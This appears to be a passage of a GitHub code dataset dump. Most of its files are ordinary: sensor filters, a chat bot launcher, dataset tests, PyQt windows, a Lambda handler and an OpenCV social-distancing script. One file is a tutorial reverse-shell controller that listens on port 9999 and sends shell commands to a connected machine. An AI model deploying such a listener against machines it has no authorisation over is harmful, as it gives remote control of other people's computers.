ImportError:\n import time\n\nclass D3D:\n\n def __init__(self, timediff=None):\n pass\n\n def getAngleXYZ(self, acceleration, magnetic):\n AccX, AccY, AccZ = acceleration\n magX, magY, magZ = magnetic\n \n A_norm = float(sqrt(AccX * AccX + AccY * AccY + AccZ * AccZ))\n pitch = float(asin(-AccX/A_norm)) \n roll = float(asin(AccY/(cos(pitch)*A_norm))) \n yaw = float(0.0)\n \n M_norm = float(sqrt(magX * magX + magY * magY + magZ * magZ))\n m_x = float(magX / M_norm)\n m_y = float(magY / M_norm)\n m_z = float(magZ / M_norm)\n\n M_y = float((m_y*cos(roll))) + float((m_x*sin(roll)*sin(pitch))) - float((m_z*sin(roll)*cos(pitch)))\n M_x = float((m_x*cos(pitch)) + (m_z*sin(pitch)));\n M_z = float((-m_x*cos(roll)*sin(pitch))) + float((m_y*sin(roll))) + float((m_z*cos(roll)*cos(pitch)))\n\n accurate = float(sqrt(M_x*M_x + M_y*M_y + M_z*M_z))\n\n if M_y>=0.0:\n yaw = float(atan2(M_y, M_x))\n \n if M_y<0.0:\n yaw = 2*pi+float(atan2(M_y, M_x))\n \n return (roll, pitch, yaw, accurate)\n\n def getDegrees(self, xyz):\n x, y, z = xyz\n return degrees(x), degrees(y), degrees(z)\n\nclass Kalman:\n \n def __init__(self, timediff=None):\n self.q_angle = 0.001\n self.q_bias = 0.003\n self.R = 0.03\n self.angle = 0.0\n self.bias = 0.0\n self.rate = 0.0\n self.P = array.array('d', [0.0, 0.0, 0.0, 0.0])\n self.P[0] = 0.0\n self.P[1] = 0.0\n self.P[2] = 0.0\n self.P[3] = 0.0\n \n def getAngle(self, newAngle, newRate, dt):\n self.rate = float(newRate - self.bias)\n self.angle = self.angle + float(dt*self.rate)\n self.P[0] = self.P[0] + float(dt*self.P[3] - self.P[1] - self.P[2] + self.q_angle)\n self.P[1] = self.P[1] - float(dt*self.P[3])\n self.P[2] = self.P[2] - float(dt*self.P[3])\n self.P[3] = self.P[3] + float(self.q_bias*dt)\n y = float(newAngle-self.angle)\n S = self.P[0] + self.R\n K = array.array('f', [0.0, 0.0])\n K[0] = float(self.P[0]/S)\n K[1] = float(self.P[2]/S)\n self.angle = self.angle + float(K[0]*y)\n self.bias = self.bias + float(K[1]*y)\n P00_temp = self.P[0]\n P01_temp = self.P[1]\n self.P[0] = self.P[0] - float(K[0]*P00_temp)\n self.P[1] = self.P[1] - float(K[0]*P01_temp)\n self.P[2] = self.P[2] - float(K[1]*P00_temp)\n self.P[3] = self.P[3] - float(K[1]*P01_temp)\n return self.angle\n\n def setAngle(self, angle):\n self.angle = angle\n \n def getRate(self):\n return self.rate\n \n def setQAngle(self, angle):\n self.q_angle = angle\n \n def setQBias(self, bias):\n self.q_bias = bias\n \n def setR(self, R):\n self.R = R\n\n def getQAngle(self):\n return self.q_angle\n \n def getQBias(self):\n return self.q_bias\n \n def getR(self):\n return self.R\n","repo_name":"hkdickyko/hkdickyko.github.io","sub_path":"assets/py/tools/d3d.py","file_name":"d3d.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37943483445","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport nonebot\nfrom nonebot.adapters.onebot.v11 import Adapter as ONEBOT_V11Adapter\n\nfrom nonebot.log import logger, default_format\n\nlogger.add(\n \"log/error.log\",\n rotation=\"00:00\",\n diagnose=False,\n level=\"ERROR\",\n format=default_format\n)\n\nfrom db import link_db, close_db\n\nnonebot.init()\napp = nonebot.get_asgi()\n\ndriver = nonebot.get_driver()\ndriver.register_adapter(ONEBOT_V11Adapter)\n\ndriver.on_startup(link_db)\ndriver.on_shutdown(close_db)\n\nnonebot.load_plugin(\"nonebot_plugin_apscheduler\")\nnonebot.load_plugin(\"nonebot_plugin_htmlrender\")\nnonebot.load_plugins(\"src/plugins\")\n\nif __name__ == \"__main__\":\n nonebot.run(app=\"__mp_main__:app\")\n","repo_name":"njpica/DlsBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"128168054","text":"import socket\n# for terminal commands\nimport sys\n\ndef create_socket():\n '''\n Socket: connect two computers with port and ip address.\n '''\n try: \n global host\n global port \n global soc\n\n # ip address of the server\n host = ''\n # port number for the server where client will try to connect\n port = 9999\n # creating the socket\n soc = socket.socket()\n\n except socket.error as err:\n print(\"Socket error: \" + str(err))\n\ndef bind_socket():\n try: \n global host\n global port \n global soc\n\n print(\"Binding the port: \"+str(port))\n\n soc.bind((host, port))\n\n # listening to the client. the int value represents the number of bad connection it will tolerate until it will send an error\n soc.listen(5)\n\n except socket.error as err:\n # when socket binding fails we will retry again...\n print(\"Socket binding error: \" + str(err) + \"\\n\" + \"Retrying....\")\n bind_socket()\n\ndef socket_accept():\n # accepting the connection which will return a connection object and address([0]-ip, [1]-port)\n conn, address = soc.accept()\n print(f'Connection has been established! Ip: {address[0]} and Port: {str(address[1])}')\n # sending commands to client's pc from server\n send_commands(conn)\n # closing the connection\n conn.close()\n\ndef send_commands(conn):\n # for sending infinite amount of commands\n while True:\n # taking command\n command = input()\n # uppon quit command, close the connection and socket\n if command == 'quit':\n conn.close()\n soc.close()\n # exiting the terminal\n sys.exit()\n \n \n if len(str.encode(command)) > 0:\n # sending data to client\n # data are sent in byte format from one computer to another computer\n # str.encode(), encoding input commands into bytes\n conn.send(str.encode(command))\n '''\n reciving the data from the client. As the received data will also be in byte format \n so we have to change it to string format using the following approach. \n str(conn.recv(1024), \"utf-8\")\n conn.recv() - receives the client data.\n 1024 - bytes are sent as chunks as there can be huge of amount of bytes. Here chunk size is 1024 bytes.\n utft-8 - encoding type. To convert the bytes in utf-8 format so that it can be converted into string with str. \n '''\n client_response = str(conn.recv(1024), \"utf-8\")\n print(client_response, end=\"\")\n\ndef main():\n create_socket()\n bind_socket()\n socket_accept()\n\nmain()\n\n'''\n1. Create a socket\n2. binding the port and host with the socket and listening for the connection.\n3. Establish connection with a client(server must be listening).\n4. sending commands to clients from server.\n5. Add all the functions in a main function.\n'''\n","repo_name":"nou-ros/pyLab","sub_path":"pyBasics/shortPyApps/client_server_program/single_reverse_shell/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29853510190","text":"import numpy as np\n\nfrom mirdata import annotations\nfrom mirdata.datasets import example\nfrom tests.test_utils import run_track_tests\n\n\ndef test_track():\n default_trackid = \"some_id\"\n data_home = \"tests/resources/mir_datasets/dataset\"\n dataset = example.Dataset(data_home)\n track = dataset.track(default_trackid)\n\n expected_attributes = {\n \"track_id\": \"some_id\",\n \"audio_path\": \"tests/resources/mir_datasets/example/\" + \"Wavfile/some_id.wav\",\n \"song_id\": \"some_id\",\n \"annotation_path\": \"tests/resources/mir_datasets/example/annotation/some_id.pv\",\n }\n\n expected_property_types = {\"annotation\": annotations.XData}\n\n assert track._track_paths == {\n \"audio\": [\"Wavfile/some_id.wav\", \"278ae003cb0d323e99b9a643c0f2eeda\"],\n \"annotation\": [\"Annotation/some_id.pv\", \"0d93a011a9e668fd80673049089bbb14\"],\n }\n\n run_track_tests(track, expected_attributes, expected_property_types)\n\n # test audio loading functions\n audio, sr = track.audio\n assert sr == 44100\n assert audio.shape == (44100 * 2,)\n\n\ndef test_to_jams():\n\n default_trackid = \"some_id\"\n data_home = \"tests/resources/mir_datasets/dataset\"\n dataset = example.Dataset(data_home)\n track = dataset.track(default_trackid)\n jam = track.to_jams()\n\n annotations = jam.search(namespace=\"annotation\")[0][\"data\"]\n assert [annotation.time for annotation in annotations] == [0.027, 0.232]\n assert [annotation.duration for annotation in annotations] == [\n 0.20500000000000002,\n 0.736,\n ]\n # ... etc\n\n\ndef test_load_annotation():\n # load a file which exists\n annotation_path = \"tests/resources/mir_datasets/dataset/Annotation/some_id.pv\"\n annotation_data = example.load_annotation(annotation_path)\n\n # check types\n assert type(annotation_data) == annotations.XData\n assert type(annotation_data.times) is np.ndarray\n # ... etc\n\n # check values\n assert np.array_equal(annotation_data.times, np.array([0.016, 0.048]))\n # ... etc\n\n\ndef test_metadata():\n data_home = \"tests/resources/mir_datasets/dataset\"\n dataset = example.Dataset(data_home)\n metadata = dataset._metadata\n assert metadata[\"some_id\"] == \"something\"\n\n","repo_name":"sebastianrosenzweig/mirdata","sub_path":"docs/source/contributing_examples/test_example.py","file_name":"test_example.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"70193463732","text":"# Accept Radius of Circle and compute Area of Circle\n\nwhile True:\n n1=float(input(\"Enter the radius of circle:\"))\n\n if (n1==0):\n print(\"Enter a non-zero value.\")\n continue\n elif (n1<0):\n print(\"Enter a value greater than zero.\")\n continue\n elif n1>0:\n print(\"Area of circle is \", 3.14*n1*n1)\n break\n \nprint(\"Area of circle calculated.\") \n","repo_name":"Amruta-Pendse/Python_Exercises","sub_path":"CircleArea.py","file_name":"CircleArea.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26279551985","text":"import os\nimport pandas as pd\nfrom cosinenet.evaluate import reranking\nfrom cosinenet.data.dataset import QAdataset\nimport logging\n\nlogging.basicConfig(format='%(asctime)s %(message)s', level=logging.DEBUG)\n\nmet = ['P@1', 'MAP', 'MRR', 'Prec', 'Rec', 'F1', 'roc_auc', 'accuracy', 'answer triggering precision', 'answer triggering recall', 'answer triggering f1' ]\nheader = ['model', 'dataset', 'split'] + met\ndf = pd.DataFrame(columns=header)\n\nfor model in os.listdir(f\"results/\"):\n if model in ['compare', 'severyn', 'cosine']:\n for m2 in os.listdir(f\"results/{model}\"):\n m = f\"{model}/{m2}\"\n for dataset in os.listdir(f\"results/{m}\"):\n for split in os.listdir(f\"results/{m}/{dataset}\"):\n print(m, dataset, split)\n path = f\"results/{m}/{dataset}/{split}\"\n dts = QAdataset(path,0,False)\n metrics = reranking.evaluate(dts, th=0.5)\n row = [f'{m}', dataset, split] + [metrics[m] for m in met]\n df.loc[len(df)] = row\n else:\n for dataset in os.listdir(f\"results/{model}\"):\n for split in os.listdir(f\"results/{model}/{dataset}\"):\n print(model, dataset, split)\n path = f\"results/{model}/{dataset}/{split}\"\n dts = QAdataset(path,0,False)\n metrics = reranking.evaluate(dts, th=0.5)\n row = [f'{model}', dataset, split] + [metrics[m] for m in met]\n df.loc[len(df)] = row\nprint(df)\ndf.to_csv('result_summary.csv')","repo_name":"dbonadiman/qa-ir","sub_path":"qair/evaluate/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"27598932246","text":"import json\nimport os\nimport boto3\n\n\ndef lambda_handler(event, context):\n \"\"\"\n Lambda that retrieves the details of a download in progress\n :param event:\n :param context:\n :return: JSON payload which includes a download status and a URL for the download if status is 'COMPLETE'\n \"\"\"\n\n s3_bucket = os.environ['S3_BUCKET']\n request_id = event['pathParameters']['requestID']\n status_file_s3 = \"exports/\" + request_id + \"/status.json\"\n\n s3 = boto3.client('s3')\n data = s3.get_object(Bucket=s3_bucket, Key=status_file_s3)\n contents = data['Body'].read()\n status_json = json.loads(contents)\n\n if status_json[\"status\"] == \"COMPLETE\":\n\n export_file_s3 = \"exports/\" + request_id + \".zip\"\n # create pre-signed URL and add to JSON\n url = s3.generate_presigned_url(\n ClientMethod='get_object',\n Params={'Bucket': s3_bucket, 'Key': export_file_s3},\n ExpiresIn=36000)\n status_json[\"url\"] = url\n\n return status_json\n","repo_name":"AtlasOfLivingAustralia/airflow-io","sub_path":"lambda/download_status.py","file_name":"download_status.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25306543925","text":"from PyQt5.QtWidgets import QMainWindow, QApplication\nfrom PyQt5 import QtGui\nimport sys\nimport csv\nimport PyQt5.QtWidgets as qtw\nfrom uiReserva import Ui_MainWindow\nimport ventanaMenuReserva\nimport ventanaUrgencia\n\nclass ventanaReserva(QMainWindow):\n def __init__(self):\n super().__init__()\n self.ventanaUi = Ui_MainWindow()\n self.ventanaUi.setupUi(self)\n self.ventanaUi.ButtonIngresar.clicked.connect(self.elegirPersona)\n self.ventanaUi.ButtonUrgencia.clicked.connect(self.urgencia)\n self.ventanaUi.ButtonAtras.clicked.connect(self.close)\n self.cargarClientes()\n\n def cargarClientes(self):\n with open('ArchivosCSV/clientes.csv') as file:\n reader = csv.reader(file)\n next(reader)\n\n self.clientes = [row for row in reader]\n \n for cliente in self.clientes:\n nombre_completo = f\"{cliente[1]} {cliente[2]} {cliente[3]}\"\n self.ventanaUi.ComboBoxCliente.addItem(nombre_completo)\n\n def elegirPersona(self):\n if self.ventanaUi.ComboBoxCliente.currentIndex() == 0:\n qtw.QMessageBox.warning(self, \"ERROR\", \"Por favor elija un cliente antes de avanzar.\\n>:c\")\n else:\n contador = self.ventanaUi.ComboBoxCliente.currentIndex()\n self.ventana = ventanaMenuReserva.ventanaMenuReserva(contador)\n self.ventana.show()\n self.close()\n \n def urgencia(self):\n self.ventanaUrgencia = ventanaUrgencia.ventanaUrgencia()\n self.ventanaUrgencia.show()\n self.close()\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n ventanaP = ventanaReserva()\n ventanaP.show()\n app.exec_()","repo_name":"Pewiz/ClinicaVeterinariaTerminada","sub_path":"ventanaReserva.py","file_name":"ventanaReserva.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38504646941","text":"from machine import Pin\nimport time\nbuzzer = Pin(13, Pin.OUT)\npir = Pin(22, Pin.IN, Pin.PULL_DOWN)\nwhile True:\n if pir.value() ==1: \n print(\"Movimiento detectado\") \n buzzer.value(1)\n time.sleep(3)\n else:\n print(\"Sin movimiento\")\n buzzer.value(0)\n time.sleep(1)\n","repo_name":"ComputadorasySensores/Capitulo79","sub_path":"pir.py","file_name":"pir.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"15998837261","text":"# Q1. Define a class with a generator which can iterate the numbers, which are divisible by 7,\n# between a given range 0 and n.\n\nclass Seven:\n def div(self,x):\n for i in range(x):\n if i % 7 == 0:\n yield i\n\n\nlim = int(input(\"Enter a range till where you want 7 divisibles: \"))\nseven_obj = Seven()\nfor i in seven_obj.div(lim):\n print(i)\n\n\n\n# Q2. Write a program to compute the frequency of the words from the input. The output\n# should output after sorting the key alphanumerically.\n\nfrom collections import Counter\nst = \"New to Python or choosing between Python 2 and Python 3? Read Python 2 or Python 3.\"\nst_spl = sorted(st.split())\na = Counter(st_spl)\nfor i,j in a.items():\n print(i,':',j)\n\n\n\n# Q3. Define a class Person and its two child classes: Male and Female. All classes have a\n# method \"getGender\" which can print \"Male\" for Male class and \"Female\" for Female class.\n\nclass Person:\n def getGender(self):\n print(\"Check\")\n\nclass Male(Person):\n def getGender(self):\n print(\"male\")\n\nclass Female(Person):\n def getGender(self):\n print(\"female\")\n\nboy = Male()\ngirl = Female()\nhuman = Person()\n\na = boy.getGender()\nb = girl.getGender()\n\n\n\n# Q4. Please write a program to generate all sentences where subject is in [\"I, \"You\"] and\n# verb is in [\"Play\", \"Love\"] and the object is in [\"Hockey\",\"Football\"].\n\nfrom itertools import product\n\ndef sent(*args):\n com = product(*args)\n for i in com:\n yield i\n\n\ncom_sent = sent([\"I\", \"You\"],[\"Play\", \"Love\"],[\"Hockey\", \"Football\"])\nfor i in com_sent:\n print(' '.join(i))\n\n\n\n# Q5. Please write a program to compress and decompress the string\n# \"hello world!hello world!hello world!hello world\".\n\nimport re\nstring = \"hello world!hello world!hello world!hello world\"\nreg_exp = re.compile(r'hello world!')\ncomp_string = reg_exp.search(string).group()\nprint(f\"Compressed string: {comp_string}\")\nprint(f\"Decompressed String: {comp_string*4}\")\n\n\n\n# Q6. Please write a binary search function which searches an item in a sorted list. The\n# function should return the index of element to be searched in the list.\n\nlst = [12,23,34,45,56,67,78,81,97,100,132,156,180,230,275,310,320]\nsearch = int(input(f\"Enter your search no. in list {lst}-> \"))\n\ninitial = lst[0]\nmid = len(lst)//2\nend = lst[len(lst)-1]\nwhile True:\n for i in range (initial, end):\n if search == lst[mid]:\n print(f\"Found {search} at index {mid}\")\n break\n else :\n if search > lst[mid]:\n initial = lst[mid]\n mid = (lst.index(initial)+lst.index(end))//2\n else :\n end = lst[mid]\n mid = (lst.index(initial)+lst.index(end))//2\n break","repo_name":"HimGos/FSDS_Practical_Assignments","sub_path":"Assignment #14.py","file_name":"Assignment #14.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23388754067","text":"from flask import Flask, render_template, request, redirect, url_for, flash, abort\nfrom app import app, db, bcrypt\nfrom app.forms import LogIn, SignIn, PostForm, UpdateAccountForm\nfrom app.models import User, Review, Vege_Review\nfrom flask_login import login_user,current_user, logout_user, login_required\n\n\n\n@app.route(\"/\")\ndef welcome_page(): #Strona startowa\n return render_template(\"home.html\")\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login_page(): # Strona logowania\n if current_user.is_authenticated:\n return redirect(url_for('home'))\n form = LogIn()\n if form.validate_on_submit():\n user = User.query.filter_by(email= form.Email.data).first()\n if user is not None and bcrypt.check_password_hash(user.password, form.Password.data):\n login_user(user, remember=form.Remember.data)\n return redirect(url_for('welcome_page'))\n else:\n flash('Login unsuccessful. Pleas check email and password', 'danger')\n return render_template(\"log-in.html\", form=form)\n\n\n@app.route(\"/sing-in\", methods=[\"GET\", \"POST\"])\ndef sing_in_page(): # Strona rejestracji\n if current_user.is_authenticated:\n return redirect(url_for('home'))\n form = SignIn()\n if form.validate_on_submit():\n hashed_password = bcrypt.generate_password_hash(form.Password.data).decode('utf-8')\n user = User(username = form.Login.data, password=hashed_password, email=form.Email.data)\n db.session.add(user)\n db.session.commit()\n flash(f'Your account has been created!', 'success')\n return redirect(url_for('login_page'))\n return render_template(\"sing-in.html\", title='Register', form=form)\n\n\n@app.route(\"/user-profile\", methods=[\"GET\", \"POST\"])\n@login_required\ndef user_profile_page():\n form = UpdateAccountForm()\n if form.validate_on_submit():\n current_user.username=form.Login.data\n current_user.email=form.Email.data\n db.session.commit()\n flash('Your account has been updated', 'success')\n return redirect(url_for('user_profile_page'))\n elif request.method == 'GET':\n form.Login.data = current_user.username\n form.Email.data = current_user.email\n return render_template(\"user-profile.html\", title='Account', form=form)\n\n\n@app.route(\"/meat\", methods=[\"GET\", \"POST\"])\n@login_required\ndef meat(): # Dane urzytkownika\n form=PostForm()\n if form.validate_on_submit():\n review = Review(content=form.content.data, author=current_user)\n db.session.add(review)\n db.session.commit()\n flash('Your post has been created!', 'success')\n return redirect(url_for('meat'))\n review = Review.query.all()\n return render_template(\"meat.html\", form=form, reviews=review)\n\n\n@app.route(\"/vege\", methods=[\"GET\", \"POST\"])\n@login_required\ndef vege(): # Dane urzytkownika\n form=PostForm()\n if form.validate_on_submit():\n vege_review = Vege_Review(content=form.content.data, author=current_user)\n db.session.add(vege_review)\n db.session.commit()\n flash('Your post has been created!', 'success')\n return redirect(url_for('vege'))\n review = Vege_Review.query.all()\n return render_template(\"vege.html\", form=form, reviews=review)\n\n\n@app.route(\"/logout\")\ndef logout():\n logout_user()\n return redirect(url_for('home'))\n\n\n@app.route(\"/post//update\", methods=['GET', 'POST'])\n@login_required\ndef update_post(post_id):\n post = Vege_Review.query.get_or_404(post_id)\n if post.author != current_user:\n abort(403)\n form = PostForm()\n if form.validate_on_submit():\n post.content = form.content.data\n db.session.commit()\n flash('Your post has been updated!', 'success')\n return redirect(url_for('vege'))\n elif request.method == 'GET':\n form.content.data = post.content\n return render_template('create_post.html', title='Update Post', form=form, legend='Update Post')\n\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"Krystian-P/CRUD_Flask_shop","sub_path":"Main/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16692604324","text":"import os\nimport random\nfrom defaults import *\nfrom preprocessing.Tokenizer import word_tokenizer\n\ndef read_file(file_path):\n with open(file_path, \"r\") as f:\n lines = f.read()\n return lines\n\ndef load_data(input_path):\n spam_path = \"enron1/spam\"\n ham_path = \"enron1/ham\"\n\n # list the files\n spam_files = os.listdir(os.path.join(input_path, spam_path))\n spam_paths = [os.path.join(input_path, spam_path, f) for f in spam_files]\n\n ham_files = os.listdir(os.path.join(input_path, ham_path))\n ham_paths = [os.path.join(input_path, ham_path, f) for f in ham_files]\n\n # read the files from each category\n spam_list = []\n for file_path in spam_paths:\n spam_list.append(read_file(file_path))\n\n ham_list = []\n for file_path in ham_paths:\n ham_list.append(read_file(file_path))\n\n spam_list = [(txt, \"spam\") for txt in spam_list]\n ham_list = [(txt, \"ham\") for txt in ham_list]\n all_emails = spam_list + ham_list\n random.shuffle(all_emails)\n return all_emails\n\n\n\nif __name__ == \"__main__\":\n data = load_data(\"/home/abzooba/Downloads\")\n\n \"\"\"\n if CLASSIFIER[\"bi-lstm\"]:\n pass\n else:\n if FEATURE_EXTRACTOR[\"tf-idf\"]:\n pass\n \"\"\"\n print(data[0])\n #word_tokenizer()","repo_name":"kolk/SpamDetection","sub_path":"spam_detector.py","file_name":"spam_detector.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"134866327","text":"from math import pi\n\n__all__ = ['NEWTON_G', 'EARTH_MU', 'SUN_MU', 'EARTH_EQUITORIAL_RADIUS', 'EARTH_FLATTENING', 'EARTH_POLAR_RADIUS', 'CJ2',\n 'EARTH_SIDEREAL_PERIOD', 'SUN_RADIUS', 'AU', 'TWOPI', 'DELTAT']\n\n# Mass constants\nNEWTON_G = 6.67408e-11\nEARTH_MU = 3.986004418e14 * 1e-9 # converted to km^3s^-2\nSUN_MU = 1.32712440018e20 * 1e-9 # converted to km^3s^-2\n\n# Earth constants\nEARTH_EQUITORIAL_RADIUS = 6378.135\nEARTH_FLATTENING = 1.0 / 298.26\nEARTH_POLAR_RADIUS = EARTH_EQUITORIAL_RADIUS * (1 - EARTH_FLATTENING)\nCJ2 = -2.064734896e14\nEARTH_SIDEREAL_PERIOD = 86164.090531\n\n# Sun constants\nSUN_RADIUS = 6.957e5 # km\n\n# Distance constants\nAU = 1.495978707e8 # km\n\n# Math constants\nTWOPI = 2.0 * pi\n\n# Time constants\n# as of 10/2022\nDELTAT = 72.6\n","repo_name":"qbizzle68/sattrack","sub_path":"src/sattrack/util/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1571065302","text":"#Avant d'exécuter ce fichier, assurez-vous que vous avez le dossier Pretrained model et classes\n#vous pouvez tout obtenir via mon lien github que je mentionnerai ci-dessous\n# Cela dépendra des performances du processeur si les performances de votre processeur sont bonnes,\n# la vidéo sera traitée rapidement # je ne l'ai pas bonne performance cpu à ce pourquoi son traitement assez faible\nimport cv2\n# openCV est utilisé pour toutes sortes d'analyses d'images et de vidéos,\n# telles que la reconnaissance et la détection faciales, la lecture de plaques d'immatriculation,\n# l'édition de photos, la vision robotique avancée, la reconnaissance optique de caractères, et bien plus encore.\nimport datetime\n# Le module datetime permet de manipuler les dates et les heures.\nimport imutils\n# imutis compose une série de fonctions pratiques pour rendre les fonctions de traitement d'image de base telles que\n# la traduction,la rotation, le redimensionnement, le squelette, l'affichage des images Matplotlib, le tri des contours,\n# la détection des bords et bien plus encore avec OpenCV et Python .\n\nimport numpy as np\n# NumPy est une extension du langage de programmation Python,\n# destinée à manipuler des matrices ou tableaux multidimensionnels ainsi que\n# des fonctions mathématiques opérant sur ces tableaux\nfrom centroidtracker import CentroidTracker\nfrom itertools import combinations\n#Ce module implémente de nombreuses briques d'itérateurs rapides et efficaces pour boucler efficacement\nimport math\n# Ce module math permet d'accéder aux fonctions mathématiques définies par le standard C\n\n\n#Le modèle et les fichiers prototypes sont ici\nprotopath = \"MobileNetSSD_deploy.prototxt\"\nmodelpath = \"MobileNetSSD_deploy.caffemodel\"\n\n# modelConfiguration = \"C:\\\\Users\\\\Dass\\Desktop\\\\test\\\\Computer-Vision\\\\Social_distancing\\\\yolov3.cfg\"\n# modelWeight = \"C:\\\\Users\\\\Dass\\\\Desktop\\\\test\\\\Computer-Vision\\\\Social_distancing\\\\yolov3.weights\"\n#\ndetector = cv2.dnn.readNetFromCaffe(prototxt=protopath, caffeModel=modelpath)\n\n# detector = cv2.dnn.readNetFromDarknet(modelConfiguration, modelWeight)\n# detector.setPreferableBackend(cv2.dnn.DNN_BACKEND_OPENCV)\n\n#mention du nombre de classes ici\nCLASSES = [\"background\", \"aeroplane\", \"bicycle\", \"bird\", \"boat\",\n \"bottle\", \"bus\", \"car\", \"cat\", \"chair\", \"cow\", \"diningtable\",\n \"dog\", \"horse\", \"motorbike\", \"person\", \"pottedplant\", \"sheep\",\n \"sofa\", \"train\", \"tvmonitor\"]\n\ntracker = CentroidTracker(maxDisappeared=40, maxDistance=50)\n\n\ndef non_max_suppression_fast(boxes, overlapThresh):\n try:\n if len(boxes) == 0:\n return []\n\n if boxes.dtype.kind == \"i\":\n boxes = boxes.astype(\"float\")\n\n pick = []\n\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2]\n y2 = boxes[:, 3]\n\n area = (x2 - x1 + 1) * (y2 - y1 + 1)\n idxs = np.argsort(y2)\n\n while len(idxs) > 0:\n last = len(idxs) - 1\n i = idxs[last]\n pick.append(i)\n\n xx1 = np.maximum(x1[i], x1[idxs[:last]])\n yy1 = np.maximum(y1[i], y1[idxs[:last]])\n xx2 = np.minimum(x2[i], x2[idxs[:last]])\n yy2 = np.minimum(y2[i], y2[idxs[:last]])\n\n w = np.maximum(0, xx2 - xx1 + 1)\n h = np.maximum(0, yy2 - yy1 + 1)\n\n overlap = (w * h) / area[idxs[:last]]\n\n idxs = np.delete(idxs, np.concatenate(([last],\n np.where(overlap > overlapThresh)[0])))\n\n return boxes[pick].astype(\"int\")\n except Exception as e:\n print(\"Exception occurred in non_max_suppression : {}\".format(e))\n#Passez le lien vidéo ici\n\ndef main():\n #ouverture de la video avec openCv\n\n cap = cv2.VideoCapture('vid_short.mp4')\n\n #cap = cv2.VideoCapture(0)\n\n #prendre l'heure actuelle d'images par seconde avant l'execution\n fps_start_time = datetime.datetime.now()\n # fps = images par seconde // initié à 0\n fps = 0\n # nombre total d'images\n total_frames = 0\n\n# boucle de traitement de la video\n while True:\n # ici on la video image par image\n ret, frame = cap.read()\n # on redimensionne l'image d'une largeur de 600 px\n frame = imutils.resize(frame, width=600)\n # on increment total_frames de 1\n total_frames = total_frames + 1\n\n (H, W) = frame.shape[:2]\n\n blob = cv2.dnn.blobFromImage(frame, 0.007843, (W, H), 127.5)\n\n detector.setInput(blob)\n person_detections = detector.forward()\n rects = []\n for i in np.arange(0, person_detections.shape[2]):\n confidence = person_detections[0, 0, i, 2]\n if confidence > 0.5:\n idx = int(person_detections[0, 0, i, 1])\n\n if CLASSES[idx] != \"person\":\n continue\n\n person_box = person_detections[0, 0, i, 3:7] * np.array([W, H, W, H])\n (startX, startY, endX, endY) = person_box.astype(\"int\")\n rects.append(person_box)\n\n boundingboxes = np.array(rects)\n boundingboxes = boundingboxes.astype(int)\n rects = non_max_suppression_fast(boundingboxes, 0.3)\n centroid_dict = dict()\n objects = tracker.update(rects)\n for (objectId, bbox) in objects.items():\n x1, y1, x2, y2 = bbox\n x1 = int(x1)\n y1 = int(y1)\n x2 = int(x2)\n y2 = int(y2)\n cX = int((x1 + x2) / 2.0)\n cY = int((y1 + y2) / 2.0)\n\n\n centroid_dict[objectId] = (cX, cY, x1, y1, x2, y2)\n\n # text = \"ID: {}\".format(objectId)\n # cv2.putText(frame, text, (x1, y1-5), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0, 0, 255), 1)\n\n red_zone_list = []\n for (id1, p1), (id2, p2) in combinations(centroid_dict.items(), 2):\n dx, dy = p1[0] - p2[0], p1[1] - p2[1]\n distance = math.sqrt(dx * dx + dy * dy)\n if distance < 75.0:\n if id1 not in red_zone_list:\n red_zone_list.append(id1)\n if id2 not in red_zone_list:\n red_zone_list.append(id2)\n\n for id, box in centroid_dict.items():\n if id in red_zone_list:\n cv2.rectangle(frame, (box[2], box[3]), (box[4], box[5]), (0, 0, 255), 2)\n else:\n cv2.rectangle(frame, (box[2], box[3]), (box[4], box[5]), (0, 255, 0), 2)\n\n\n fps_end_time = datetime.datetime.now()\n time_diff = fps_end_time - fps_start_time\n if time_diff.seconds == 0:\n fps = 0.0\n else:\n fps = (total_frames / time_diff.seconds)\n\n fps_text = \"FPS: {:.2f}\".format(fps)\n\n cv2.putText(frame, fps_text, (5, 30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0, 0, 255), 1)\n\n cv2.imshow(\"Social_Distancing\", frame)\n key = cv2.waitKey(1)\n if key == ord('q'):\n break\n\n 